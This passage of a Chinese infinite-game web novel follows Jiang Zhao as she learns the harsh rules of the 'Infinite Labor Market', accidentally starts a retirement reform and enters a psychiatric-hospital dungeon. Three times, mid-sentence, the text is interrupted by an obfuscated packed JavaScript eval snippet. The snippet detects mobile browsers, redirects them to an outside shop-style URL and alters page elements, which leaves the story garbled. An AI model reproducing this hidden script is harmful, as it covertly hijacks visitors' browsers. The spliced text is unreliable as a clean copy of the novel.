更让人血压飙升的是,整场副本她拼死拼活才赚了十五积分,这狗市场公司居然二话不说,直接扣掉了她三分之一的“工资”! 是可忍,孰不可忍! 姜照当场就没忍住,直接对着信息显示屏开麦:“靠,这**无限劳动力市场怕不是有毛病吧?技能是你们生成给我的,我只是照着要求合法合规招聘员工,凭什么怪我?至于副本缺怪,缺怪就招怪啊,在这扣我的积分干什么?” 【警告,检测到职员姜照对无限劳动力市场使用不文明用语,已自动屏蔽。首次违规仅作警告处理,暂不进行积分考核。】 冰冷的系统提示音在脑海里响起,姜照只觉得自己脑子里又一根掌管理智的弦“啪”地断了。 她深吸一口气,又缓缓吐出,强行压下翻涌的情绪,才用尽量平稳的语气开口:“我要投诉,你们这属于违规考核。” 【投诉无效,一切最终解释权归无限劳动力市场所有。】 一句话,冷姜照一辈子。 瞬间,这辈子能想到的所有脏话都在姜照脑海里疯狂刷屏,她嘴唇动了动,最终还是硬生生咽了回去。 倒不是突然讲文明了,纯粹是现在积分太少,穷得骂不起。 等她以后攒够积分,第一件事,就先骂这个破市场一百条解解气。 懒得再跟不讲道理的市场系统多费口舌,姜照直接关掉眼前的信息显示屏,抬眼打量起面前这座一看就造价不菲的建筑大厅,打算先四处探索一番。 她下意识扫了眼左右,却没看到本该跟在身边的两个员工,不由得开口小声唤道:“伦纳,兰姐,你们在哪儿?我准备在大厅里随便转转,你们有没有别的想做的事?” “兰姐……是在叫我吗?” 女鬼的声音忽然从胸口方向飘了过来,姜照微微一怔,僵硬地低下头,这才发现自己脖子上不知何时多了一条项链,吊坠是一面小巧玲珑的镜子。 她好奇地轻轻拎起那面镜子,应声答道:“对,我看姐在我这边的信息里显示名字是陈淑兰,就顺口叫你兰姐了。” “啊……我当副本怪物的时候,之前做人的所有记忆都没了,除了一些生活常识啥都记不起来,原来我以前叫陈淑兰啊。”女鬼轻声感叹了一句,语气里带着一丝说不清道不明的怅惘,“挺好听的。” 她的声音复又带着点向往:“听说外面有一种花叫兰花,也不知道有没有机会能亲眼看看。” “肯定会有机会的。”姜照小心地调整了一下项链的位置,确保外套不会遮挡镜面,轻声问道,“姐,你们是没法出来吗?这样应该不会挡到你们视线吧?” “不会,看得可清楚了。”陈淑兰自有记忆起还是第一次见到这么金灿灿的地方,之前她待的副本时间限制在半夜凌晨时分,一直都黑漆漆的,此刻骤然置身于如此明亮华丽的大厅,眼睛都快要看直了。 “能出来是能出来,就是那位兔小哥说,我们两个跟在你身边太扎眼,怕引来别人注意,也怕你不方便。我想想也是,就先待在镜子里了,反正我之前一直待在车窗里,对这种空间倒也习惯。” 陈淑兰的话音刚落,一只通体雪白的小兔子凭空出现,随着倏地一跃,轻巧地跳上了姜照的肩膀,仗着身形小巧,找了个舒服的位置蜷成一团,不动了。 姜照挑了挑眉,伸手将这只周身透着低气压的小兔子从肩膀上摘下来,捧在掌心仔细打量,虽是问句,语气却是肯定的:“你是伦纳?” 兔子懒洋洋地抬了下头,红宝石般剔透的眼眸没什么神采,只耷拉着的右耳轻轻动了两下,算是默认了她的话。 指尖抚过柔顺油亮的兔毛,温热的触感贴在常年冰凉的手心里,像个小小的暖炉,舒服得让人舍不得放开。 姜照心底那点因被扣积分的郁气瞬间被治愈了大半,又暂时把对伦纳身份的疑虑压了下去,放软了声音哄道:“我们白兔先生怎么这样蔫蔫的,没精神?是刚才在副本最后的时候屏蔽市场意识,累到了吗?” 见姜照终于注意到自己的情绪,伦纳才稍稍提起一点精神,抬眼瞥了她一下,随即从她掌心挣开,重新跳回肩膀上,学着之前无聊的时候,不知在哪本小说里看到的男主角模样,凑到她耳边,带着几分委屈开口。 “你为什么要招收别的人?是因为我第一次没能帮你看清文字,让你觉得我很没用吗?” 讲真的,一只毛茸茸的小白兔,在耳边用这种故作强势又带着委屈的语调说仿霸总语录,画面真的很诡异。 但好在,姜照本来就有“人形生物过敏症”,伦纳的声音也足够好听,以至于她竟然也没觉得这样的亲昵行为有点超出自己正常和他人相处的安全距离。 “你帮了我那么多,我怎么会觉得你没有用呢?”姜照忍不住用侧脸轻轻蹭了蹭手感绝佳的软毛,跟大多数人对着可爱小动物时一样,语气不自觉变得温柔又耐心,“只是我本身不算厉害,想达成的目标又很远大,大概需要找很多志同道合的人一起帮忙才行。” “毕竟,人多力量大嘛。” 伦纳不死心,又小声争取:“可是,我其实真的很厉害,他们能做的,我都可以做。我不骗你,你有我一个就够了。” 这话听着强势,可配上他委屈巴巴的语气,再加上那张无辜又毫无杀伤力的兔子脸,别说半点压迫感都没有,姜照还没察觉到不对劲,只是心里升起一丝奇怪的疑惑—— 怎么还有下属主动抢活干,不让老板招人的?这么热爱工作吗?就不怕被疯狂压榨,累死自己? 上班近五年,却已经被领导压榨四年、画饼招人三年的姜照不懂,可能这就是职场新人未经折磨的热爱和责任感吧? 心里疑惑归疑惑,她手上还是很诚实地挠了挠伦纳脖颈处的软毛,柔声安抚:“我这辈子最讨厌的就是那种疯狂压榨下属还不给钱的黑心老板,你跟着我,我肯定不会那样。” 说完,还姜照还稍微用力点了点小兔头:“还有,最重要的一点——身体是革命的本钱,要好好爱惜身体才行,不要为了工作拼命。” 她在关心我。 伦纳很快接受了姜照不会放弃扩招的事实,然后被一句简单的关心话语轻易哄好了。 虽然心里还是有点不舒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372993|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但也能重新打起精神,抬起毛茸茸的脑袋,轻轻蹭了蹭姜照的侧脸:“那不管以后有多少人跟着你,你都要最喜欢我,好不好?” 来了来了,经典的下属争宠现场。 姜照眯了眯眼,在每天堪比坟堆一般死寂的办公室待了那么久,她学会的一个道理就是—— 一个好的团队,必须要有良性竞争的氛围,坚决杜绝职场内卷、偏袒和打压。 她斟酌了几秒,十分有原则地回道:“只要你乖乖听话,我肯定会喜欢你啊。” “你放心,我一定听话。”伦纳答得飞快,长耳朵轻轻勾住姜照的一缕发丝,语气也变得轻快起来,“你不是说想逛逛这个大厅吗?我们走吧。” 姜照看着他一脸自然的模样,看不出半点卧底的心虚,抿了抿唇,暗自决定还是再多观察一段时间,毕竟一张兔脸,可能神情变化不明显,利于隐藏心事。 等确定伦纳对自己确实没有恶意后,再找个合适的时机,把他身份不明这件事摊开说清楚吧。 心里这么盘算着,姜照一边和自己的两名员工熟悉着,一边漫无目的地在宽敞华丽的大厅里闲逛起来。 “伦纳,兰姐,重新认识一下吧,我叫姜照,姜子牙的姜,明照的照,以后你们直接叫我名字就行。” “好嘞,那姐以后就叫你小照。”陈淑兰答应得极快,声音里满是压不住的雀跃,“还是辞职出来见见世面好啊!以前困在那个黑漆漆的副本里,别说是这么亮堂的地方,就连太阳都没见过一次。” “你喜欢就好。” 姜照目光忽然被右前方不远处一处摊位吸引,那块写着“无限劳动力市场常规常识说明书”的招牌在人群中格外醒目,顿时来了兴致。 她小声跟伦纳、陈淑兰商量:“要是价钱不贵的话,咱们就买一本吧,初来乍到这个地方,规矩总得摸清楚,省得日后被人卖了,还傻乎乎地帮着数钱。” “这话在理,我当了这么多年副本怪物,见过不少人为了通关不择手段,互相算计、互相出卖,什么事都做得出来。”陈淑兰深有同感地叹了口气,撇了撇嘴,“小照,你以后可得小心点。” 叮嘱完姜照,陈淑兰又叹了口气,感慨一句:“有时候我甚至在想,我当初会变成这副模样,会不会也是遭了别人的算计。” 姜照闻言微微一怔,随即好奇地追问:“人死在副本里,就会直接变成副本怪物吗?” “也不全是。”陈淑兰摇了摇头,她本就是副本衍生的怪物,对副本之外的事情同样知之甚少,只能凭着自己零星的认知解释,“我只知道,你们说的副本积分,好像是能救命的东西,只要积分足够多,就算没能成功通关副本,也能靠着积分保住一条命。” “至于变成副本怪物,好像也是有特定条件的。不然这么多年下来,死在副本里的人不计其数,怪物早就泛滥成灾了,哪还会像现在这样,被你挖走我一个都要倒扣积分惩罚。” 姜照默默把这番话记在心里,若有所思地点点头:“这么看来,我以后确实得多攒点积分才行。” 说话间,已经走到了摊位前,姜照抬眼看向守在摊子后的摊主,语气客气地询问:“大叔,请问这本常识说明书怎么卖?我想买一本。” 12. 副本休息区 摊主一见有客人上门,立刻堆起满脸热情的笑容,连忙招呼道:“不贵不贵,只要3积分。” “3积分?!”姜照瞬间瞪大了眼睛,语气里满是难以置信,“下一次副本才能挣多少积分?你这根本就是抢劫吧,哪个冤大头会愿意买?” 她自己在副本里帮人一键通关、辛辛苦苦半天也才赚3积分,正常通关这次副本自己也不过拿到15积分,如今一本不知真假、内容好坏的薄册子就要3积分,这和明抢有什么区别? 摊主一听这话,脸上的笑容瞬间僵住,立刻拉下脸,不乐意地皱着眉回怼:“你这小姑娘一看就是新来的,怕是还不知道这无限劳动力市场的规矩吧?” “你在这副本外的职员休息区,随便租个房间睡一晚都要5积分,吃顿最简单的饭也要2积分起步,我这可是能救命的常识册子,只收你3积分,已经算便宜的了,知足吧。” 见姜照依旧满脸难以置信、无法接受这个价格的模样,摊主顿时失去了耐心,不耐烦地撇了撇嘴,挥着手驱赶:“买不起就赶紧走开,别堵在我这儿挡着其他客人,影响我做生意。” “说话这么没轻没重,我去收拾他。”本来安安静静窝在姜照肩膀上的伦纳见此,红眸之中闪过一丝晦暗,刚准备起身变回人身干架,就被姜照一根手指摁回去。 “消停点兔儿哥,刚来这里人生地不熟,别给我惹事。”姜照一脸无奈,顺嘴给伦纳起了个外号,“再说人家也没说错,咱们现在确实穷得叮当响,真买不起。” 陈淑兰也被外面的物价吓到:“早知道当初在副本里我就帮着你恐吓恐吓那些人,兴许你还能赚更多的积分。” 姜照闻言,叹了口气:“小本生意,能赚点就得了,万一贪了人家死活不接受,咱们也讨不到什么好处。” 说完,她恋恋不舍地瞟了一眼小摊上的小册子,心里盘算了八百遍,最后还是忍痛放弃。 现在自己手里积分少得可怜,乱花等于自杀,万一关键时刻积分不够用,哭都没地方哭。 就在姜照对着小册子生离死别之际,突然有人“啪”一下拍了拍她肩膀。 姜照当场浑身一僵,绷紧了脊背,脑子里瞬间闪过八百个诈骗套路,紧接着一道笑嘻嘻的女声飘过来,带着几分爽朗的暖意:“嗨姐妹!看你这样子,是刚进市场的萌新吧?” 听完问话,姜照没有立刻回答,眉头几不可查地皱起,一个凶险又陌生的新地方,任何突如其来的接触都可能暗藏陷阱。 她不动声色地侧过身,脸上迅速挂起一抹恰到好处的职业假笑,同时不着痕迹地往后退了半步,拉开两人之间的距离,客客气气开口:“啊对,新人一个,请问找我有什么事吗?” 还没等人回答,姜照又连忙加了一句,直接把话堵死:“不过事先声明啊,正因为是新来的,我现在穷得底朝天,积分连本小册子都买不起,你要是来推销什么业务的,就不用在我身上浪费时间了。” 站在她面前的,是一位身着红白骑士风制服的高马尾女生,发尾随着她的动作轻轻晃动,眉眼弯弯,看着与姜照年纪相仿。 听见姜照这番话,她忽然“噗嗤”一声笑了出来,眉眼弯成了月牙。 “哈哈哈哈,你也太可爱了吧!”女生笑着摆了摆手,爽朗的声音驱散了几分空气里的紧绷,“我可不是来推销的,你也别对着那本小册子望眼欲穿了。” 说罢,她见姜照抬眼疑惑地看过来,又是爽朗一笑,从制服口袋里掏出一本和刚才摊子上别无二致的册子,“啪”地一声递到姜照面前。 “喏,免费送你了。” 姜照嘴角的笑意淡了几分,心里警铃大作:免费的才是最贵的!天上掉馅饼不是圈套就是陷阱!陌生人突然送温暖,非奸即盗! 这种突如其来的陌生好意,她真的不敢接。 姜照默默咬了咬嘴唇肉,笑容又尴尬得灿烂了点,疯狂推辞:“不用不用,咱俩萍水相逢,我又没什么可报答的,哪好意思白拿你东西啊!” 话音刚落,女生突然定定盯着她,空气瞬间安静得尴尬。 姜照表面稳如老狗,心里慌得一批:完了,不会遇到硬茬了吧?这是想强买强卖还是想绑人? 她偷偷用脸蹭了蹭肩膀上的伦纳:兔儿哥,实在不行你就变身吓她,创造时机,咱们立马跑路。 女生看着姜照浑身写满“你别过来啊”的防备样,又是一个爆笑出声,然后以迅雷不及掩耳之势一把抓住姜照攥得紧紧的手,把册子硬塞了进去:“可以啊姐妹,警惕性拉满,在这市场就该这样!不过我真不是坏人,也不图你什么,就是单纯送你本书。” “为什么?”姜照死死攥着册子,没有松口,一脸不信,“无功不受禄这句话的道理我还是懂得的。” 女生被接二连三地怀疑,也不生气,只是正了正身上的制服,指了指胸口处一枚精致的徽章。 徽章上,两位女性面对面握手,周围缠绕着莫比乌斯环样式的织线,样式简洁却庄重。 “正式认识一下,我叫唐小满,是织命者联盟的一员。”她的声音清亮,带着几分自豪,“我们织命者联盟,是无限劳动力市场工会排名第二的女性公会,主旨就是女性之间互帮互助,给刚来的女性免费发这本市场常识册子,这是我们一直坚持的事。” 姜照还是不敢轻信:“你有什么可以证明自己的方式吗?” 说完,又觉得自己说得这么直白不太好,赶紧讪笑着加了一句:“主要是我初来乍到,真的是穷得一清二白,也是怕上当受骗,万一欠上什么还不起的债,这多不好,希望能体谅一下。” “没事没事,有警惕心是好事。”唐小满倒是毫不在意,大手一挥,指向远处大厅中央的电子屏幕,“走,咱们去那边,给你看官方证明,怎么样?” “麻烦了、麻烦了。”姜照亦步亦趋地跟在后面,暗中打量着面前的女生。 唐小满眼睛明亮,说话也直来直去,穿着剪裁工整、红白相间的制服,浑身透着一股干净利落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372994|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的精神气,一点也不惹人厌。 “你看啊,无限劳动力市场工会排名榜,第二名‘织命者联盟’,我没骗你吧。”唐小满怕姜照还不信,又把自己的工号告诉她,“工号HK4545,你可以搜,能查到我是联盟的一员。” “没有没有,都说到这个份上了,我肯定信你。”姜照嘴上应着,手指已经飞快点开了系统信息界面。 几秒钟后,屏幕上清晰显示着唐小满的身份信息,她这才松了口气,脸上的笑容终于变得真切起来。 “还没自我介绍,我叫姜照,感谢唐小姐的帮助。” 唐小满再次将册子递给姜照,说出自己的来意:“小事,以后遇到麻烦就来联盟找我们,我们联盟接纳一切有基本道德、不会背叛同伴的女性,不分强弱。” 正在单干创业的姜照心里一动:多条后路多条命,万一创业寄了还能进大厂打工。 嘴上乖巧答应:“好!我一定认真考虑!” “那我就先走了,你慢慢熟悉这里!”唐小满挥挥手,看样子是又去找下一个可怜萌新送温暖了。 姜照目送她的身影消失在人群中,迫不及待地翻开了手中的小册子,册子不算厚,里面内容也不多,几分钟就能看完,只是越看表情越离谱。 “为避免‘职员’称谓在副本中产生歧义,副本内人员相认,统一称呼为市场玩家。” “副本难度等级由高至低分为S、A、B、C、D、E六级;职员等级对应相同,F级为实习生,享有一次新手副本失败豁免权。” “职员等级由无限劳动力市场总系统综合评定,依据技能强度、副本通关表现、积分总数、道具品质等维度定级。职员等级越高,匹配副本等级越高。” “职员系统信息显示屏为子单元系统,中枢连接至市场总系统,用于记录职员副本表现、同步系统信息,接受市场监督。” “副本受的伤,回到任务大厅就会自动恢复……这还不错,算是有个工伤保险。”终于看到一处有用的,姜照摸着下巴继续给陈淑兰、伦纳念叨,“除此之外,出来副本,回到休息区,吃饭、睡觉、换情报……总之干什么都需要积分。” 她继续往下看,脸色一点点垮掉。 “不仅如此,还没有所谓的退休制度,副本时间与休息区时间流速为100:1,以休息区时间为基准,每周需至少进入一次副本。” “每消耗100积分,可申请一次E级副本豁免权,副本等级每提升一级,需额外消耗100积分申请豁免,每月仅限一次。副本通关失败后,可消耗500积分免除抹杀处罚,同样每月仅限一次。” “副本禁止职员明面上互相残杀,但允许暗中算计、构陷。” 通篇看下来,姜照忍不住抽了抽嘴角:“合着这破地方不包吃不包住,五险一金全无,工资低物价高,24小时被监控,还鼓励内部恶性内卷?” “这无限劳动力市场没倒闭简直是个奇迹!纯纯靠强制拉人硬撑是吧!” 13. 404精神病院,祝您早日出院 这规则离谱到什么程度呢? 鬼看了都得连连摇头。 陈淑兰默默回想自己先前过的那种日子,无偿上班、无五险一金、五险一金更是想都别想,工作环境又压抑又恶劣,忍不住长长叹了口气:“要不是为了能活下去,谁愿意熬这种苦日子啊。” 伦纳没有姜照和陈淑兰那样深刻的职场辛酸,他只知道见不得姜照难受,毛茸茸的兔嘴轻轻拱了拱姜照的颈窝,软乎乎地安慰:“阿照别难过,咱们多闯几个副本,后面肯定会有钱的。” “谢啦,有被安慰到。”生前足够恶心的公司让姜照容忍阈值高了不少,安慰自己起码现在有帮手,不像之前那种,一个人干两三个人的工作量。 她按照说明,把常识小册子收进系统信息显示屏自带的道具空间,又扫了一眼任务大厅,确定没什么值得逗留的地方,便轻轻捶了捶发酸的腿:“走,去外面转转,买点便宜东西先把肚子填饱。” 大厅外面,就是一片仿照小镇住宅区搭建的临时休息区。 现在正值傍晚,夕阳正缓缓沉落,橙粉交织的晚霞裹着浑圆落日,像一枚快要流心的蛋黄,空气中甚至飘着几分虚幻诱人的香气。 本就加班没吃晚饭、又刚经历完一场副本折腾的姜照,肚子不争气地咕咕叫了起来,她忍不住揉了揉小腹,目光直直飘向远处饭店亮着的饭菜招牌—— 红烧牛肉面5积分、炸酱面5积分、黄焖鸡米饭5积分、麻辣烫6积分…… 就连最普通的一颗水煮蛋,都要卖到2积分! 姜照瞬间瞪圆了眼睛,被这里的物价再度吓得倒吸一口凉气:怎么会这么贵,根本舍不得买! 伦纳见她盯着饭菜看得眼睛都直了,柔声劝道:“我和兰姐都不用吃饭,只有阿照一个人吃,算下来也不算太贵,挑一份喜欢的尝尝吧。” 陈淑兰也在一旁帮着说话:“是啊,过副本本来就耗心神耗体力,你不吃饱,哪有力气闯下一个?精神劲儿不好,更别说拿高积分顺利通关了。” “你们说得对,那我就买个最便宜的。”姜照咽了咽口水,快步走到摊位前。 本来还想狠狠心,奢侈一回给自己买碗面,可凑近一看才发现,一碗面的分量比桶装方便面还要少,性价比低到令人发指。 蠢蠢欲动准备付款的手默默又收了回来,姜照尴尬地往店里张望了一圈,没见到半个人影,忍不住小声嘀咕:“是定价太黑没人光顾,老板干脆偷懒摸鱼去了?” 话音刚落,左前方一只招财猫摆件突然发出机械的电子音:“本店由市场系统统一调控,请职员按照需求扫码点单,严禁食物浪费。” 就给这点量,能吃饱就谢天谢地了,还能担心食物浪费? 姜照吐槽完,倒也坦然,大大方方开口:“我比较穷,麻烦问一下,有什么能吃饱又不贵的推荐吗?” “本店特色面包,仅需1积分。” 便宜没好货,姜照深知这个浅显的道理,奈何眼下又穷又饿,实在没什么选择,只能赌一把这破市场会不会有良心:“那给我来一个吧。” 拿到面包的那一刻,姜照就知道,自己错了。 大错特错。 她怎么会天真到指望市场公司这种东西有良心? 虽说她没出过国,也没见过多少世面,但她单方面感觉,手里这块面包的硬度,已经能和传说中硬到能防身的法棍一较高下了。 积分也花了,又不能不吃。 最后没办法,姜照只能偷偷找了个偏僻角落,靠着伦纳化出细剑,把这块硬得要命的罪恶面包切碎,才勉强一点点咽下去垫肚子。 伦纳心疼地看着姜照小口吞咽、生怕一不小心被噎住的模样,知道她肯定不舍得花积分再买点热乎的东西吃,只好换个思路,低声问:“你上一个副本状态就不太好,要不要租个房间休息一下?” 没有舍得买7积分一瓶的水,姜照艰难地把嘴里的面包碎咽下去,嗓子被划得有些沙哑:“算了,我打算等会儿就进副本,外面物价高得活不下去,还是去副本里想办法白嫖比较实在。” “有失败风险就失败吧,反正死都死过一回了,也没什么好怕的。” 姜照在现实里本就过得拮据,孤身一人,没什么亲友,能依靠的更是寥寥,长年累月下来,节俭存钱早已刻进骨子里,近乎成了一种强迫症,真要让她大手大脚花钱,心里能别扭懊悔好几个月,干什么都不得劲。 陈淑兰见此,也没有多劝,只是忧心忡忡道:“希望到时候能选到一个有休息时间的副本,要是像之前我待的那个副本一样,本身通关时间就少,节奏还紧,你又得高强度解谜通关,身体肯定扛不住。” “但愿吧。”姜照轻轻戳了戳手腕上的工号,唤出系统信息界面,指尖在上面随意点着,“说你连着市场总系统,麻烦帮我传达一下心愿——下个副本,至少能让我们免费休息、免费吃饭。” 抱着一股强烈到近乎虔诚的白嫖心愿,姜照重新回到任务大厅,跟着指引来到副本入口。 她一边等待载入,一边在心里无比真诚地默默祈祷:“求求了,一定要送我去能免费休息、免费吃饭的副本。” 【检测到职员姜照打卡上班,依据新手副本综合评定,实习期已结束,晋升E级职员。】 【检测到职员姜照“个人发展目标”与市场现行制度冲突……】 【系统错误……系统错误……系统错误……】 【强制启动系统更新……】 姜照听着耳边接连不断的报错提示,半点心虚都没有,理直气壮地吐槽:“早知道现在会系统报错,当初就别招我进来啊,纯属活该。” 不知是不是真的听见了她这番话,机械音沉默了几秒,突然再次响起,语气都带上了几分幸灾乐祸: 【全区播报:请各位职员注意,基于职员姜照(工号:TX6388)个人发展目标及规划,现正式启动无限劳动力市场退休制度改革。】 【匹配生成特殊系列副本“锈色工厂的黎明”,副本开启时间已发送至职员姜照(工号:TX6388)系统,若通关完成,退休制度正式上线无限劳动力市场。】 姜照万万没想到,自己就是随口一句吐槽,竟然直接被全区通报社死,心里瞬间又开始对着这破市场疯狂刷屏脏话。 陈淑兰没想那么多弯弯绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372995|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绕,只是觉得退休是好事,这下肯定人人都感谢姜照,真心实意替她高兴:“小照,你这下可出名了。” “在这种鱼龙混杂的地方出名,不一定是什么好事,说不定就触犯了谁的利益,搞得我被追杀。”在职场摸爬滚打久了,姜照看什么都带着点阴谋诡计,“说不定一不小心就动了谁的蛋糕,回头被人副本追杀都有可能。” 思考再三,她还是觉得隐藏身份比较保险:“后面进副本后我得改个名字,就叫江灯吧,别人喊我的时候,我要是没反应过来,你们记得提醒我。” “没问题。”伦纳轻轻蹭了蹭她,“那这个副本里,我以什么形态待在你身边?” 他能感觉到,姜照似乎更习惯自己现在的动物模样。 果然,姜照毫不犹豫:“就保持现在这只兔子的样子吧,等有需要了,你再突然化为人形,说不定某些时候还能有出乎意料的作用。” 【基于职员姜照开启无限劳动力市场退休制度改革,副本难度等级提高。】 【副本载入中……】 【职员姜照成功打卡上班,本次分配B-级工作副本——404精神病院,祝您早日出院。】 ……吾命休矣! 姜照只从这短短三句提示里,就品出了扑面而来的恶意。 她就知道,这狗市场没安过什么好心。 纵观历史,古往今来这么多年,多少仁人志士倒在变革之路,她不过是个只想安安稳稳退休、享受美好生活的普通人,怎么就这么难啊。 无限劳动力市场才不理会姜照心底泪流满面的哀嚎,一道刺目白光骤然闪过,下一秒便不由分说地将她强行传送进了副本世界。 眩晕感如潮水般涌来,姜照恍惚了数秒才勉强睁眼,入目是一间明亮却空旷得诡异的大厅,阳光透过窗户撒进来,却不带任何温度,几道人影沉默地立在不远处,神色各异,气氛沉闷得让人喘不过气。 所有人都像是在默默等待着什么,彼此戒备又试探,谁也没有率先开口打破沉默。 约莫安静僵持了一分钟后,人群中一个身形高大、面色沉郁的男人终于率先打破死寂,嗓音带着几分沙哑疲惫:“应该没人来了,这个副本的人,大概就我们几个。” 姜照下意识往角落缩了缩,尽量降低自己的存在感,不动声色地打量起在场众人,算上自己,一共四男四女,从神态和气场来看,都没有新人的那种慌乱,显然都是经历过好几个副本磨炼的老人。 还没来得及再多观察几人细节,大厅左侧忽然传来一阵清晰的鞋跟敲击地面的“咔哒、咔哒”声,缓慢、规律、僵硬,在这片空旷又死寂的空间里显得格外刺耳。 姜照猛地抬头望去。 一个穿着整洁白色护士服的女人正一步步走来,她身姿笔挺,面色却苍白得毫无血色,眼神空洞浑浊,嘴角扯着一抹不明显的笑,周身透着一股说不出的僵硬感。 她停在众人面前,用一种轻柔,却有些呆板、毫无起伏的语调,缓缓开口: “欢迎来到404精神病院。” “本院将竭诚为您服务。” “祝您,早日康复,顺利出院。” 14. 404精神病院,祝您早日出院^…… 没有人应声。 偌大的大厅依旧一片死寂,一股难以言喻的阴冷感死死缠在每个人身上,明明放眼望去,也是有几个人的,可没一个敢出声,甚至连呼吸声都被刻意压抑着,好像生怕自己露出一点声音,就会被副本里的怪物盯上。 气氛压抑得近乎粘稠,仿佛这个空间本身就已经浸透了某种陈年的、发酵过度的负面能量,沉甸甸地压在每个人的肩头,衬得连阳光都是惨白的,透过玻璃窗落进来,在地面上切割出几道棱角分明的光斑,像是一滩滩发霉的透明黏液。 总体来讲,氛围感这一块,和姜照生前待过的那间办公室有的一拼。 用之前姜照和同事吐槽的话来说就是:“咱们办公室房间不大,人其实也有几个,是怎么做到阳光透进来还能阴风阵阵的?” 大概,天底下的烂公司都差不多,员工积攒的怨气多了,阳气就少了。 好在,护士也并不在乎其他人的反应,那张苍白又麻木的脸上,连肌肉纹理都像是凝固的,宛如被设定好的程序,开场白说完,就自顾自转身:“请各位随我过来登记入院。” 这次有回应了。 一群人虽然依旧保持着同步的沉默,但身体还是诚实地跟了上去,脚步声在空旷的大厅里回响,杂乱却轻,像是生怕惊扰了什么蛰伏在阴影里的东西。 姜照进来的位置本来就偏角落,此刻稍微放慢一点速度,就顺理成章地坠在队伍的末尾。 她思虑再三,还是把肩膀上的伦纳调了个方向,指尖不经意地蹭过兔子温热的耳尖:“兔儿哥,帮我盯着点后面,我怕背后有鬼偷袭。” 私心来讲,伦纳更愿意窝在颈窝那个位置。 那里贴着姜照的脉搏,温热的血液在皮肤下稳定地流淌,他时不时还能拱起头蹭蹭她的下颌,感受那层薄薄皮肤下细微又充满生机的震动。 奈何现在姜照有事吩咐,伦纳没有反抗,那双剔透得有些空洞的红眸乖乖地转向了后方,死死盯着身后空旷的大厅和不远处不知通向何处的长廊。 长廊深处黑得不正常,没有一丝光线,黏稠又凝滞,大厅的阳光像是有默契一样避开那个地方,仿佛触碰到那里就会被悄无声息地吞噬进去。 伦纳的尾巴不安分地扫动,毛茸茸的团子时不时蹭过姜照的脸颊,带着细微的痒意。 姜照一边分神将那团毛尾巴摁下去,一边跟着大部队向前移动,鞋底踩在地砖上,发出单调的声响,直到穿过一条不算长的过道,抵达另一个大厅,医院前台那惨白的轮廓才终于出现在视野里。 护士走进前台,动作带着某种程式化的僵硬,从抽屉里取出登记表。 那纸张看起来有些年头了,边缘泛黄卷曲,却被整理得一丝不苟,像是要用表面的规整来掩盖内里的腐朽。 “一会儿我念到名字的人员来我这里进行登记。”她的声音轻柔,却没有情绪起伏,听得人极为不适,“领取住院用品。” 姜照一听这句话,就知道要遭。 下一秒,护士的声音响起,像是一把终于落下的钝刀,开始缓慢又强硬地切割开大厅里虚假的安静:“患者姜照,请过来进行登记。” 姜照感受到无限劳动力市场对自己深深的恶意。 随着这声音落下,她清晰地看到前面几个人的眼神瞬间改变,他们面容不再沉重肃穆,原本只死死盯着一处的视线也开始四处打量、审视、评估,想要确认刚才被市场全员播报、掀起退休改革的“人才”究竟是哪位。 陈淑兰为了避免暴露自己,再度开启了意识交流,带着长辈特有的、小心翼翼的关切:“小照啊,好像你隐藏名字的做法在这个副本行不通啊。” 姜照表面面带微笑,心如死灰地面对这个垃圾的世界。 但内里对陈淑兰的回应可就随心所欲多了。 反正是在意识里说话,不怕被系统检测到,她直接放开了骂:“我也没想到这**的市场还给我整这个,故意恶心我是吧,觉得我开启退休改革,妨碍它剥削打工人了是吧。” “可是你干的明明是为了他们好的事情啊。”陈淑兰不解,“可以退休不好吗?按理来说,这些苦于通关副本的人,不应该好好感谢你吗?甚至有可能的话,还可以帮助你通关。” 她望着前方护士那张没有表情的脸,又扫过周围那些或明或暗打量自己的视线,似乎不知道自己该怎么表达才能让这位已经遗忘作为人类记忆的长辈理解。 “这个嘛,人是一种很复杂的生物。”她在意识里慢慢组织着语言,“有些人可能受够了这种战战兢兢的生活,只想简单的活下去,他们自然会支持我,但也有可能,还有些人就是很享受现在市场的规则呢?” 她顿了顿,目光落在斜前方一个正偷偷观察自己的玩家身上。 那人的眼神里有探究,有算计,但唯独没有陈淑兰所说的感激。 “不想它改变的人,往往恰恰是那些在现有规则里找到生存空间、甚至如鱼得水的人。哪怕这个空间是畸形的,但只要利于他们,他们就会本能地排斥任何可能打破这份安稳的变化。” 姜照还没说完,就被护士略有不耐的声音打断:“患者姜照,请不要浪费时间,尽快到此处进行登记。” 该来的还是逃不了。 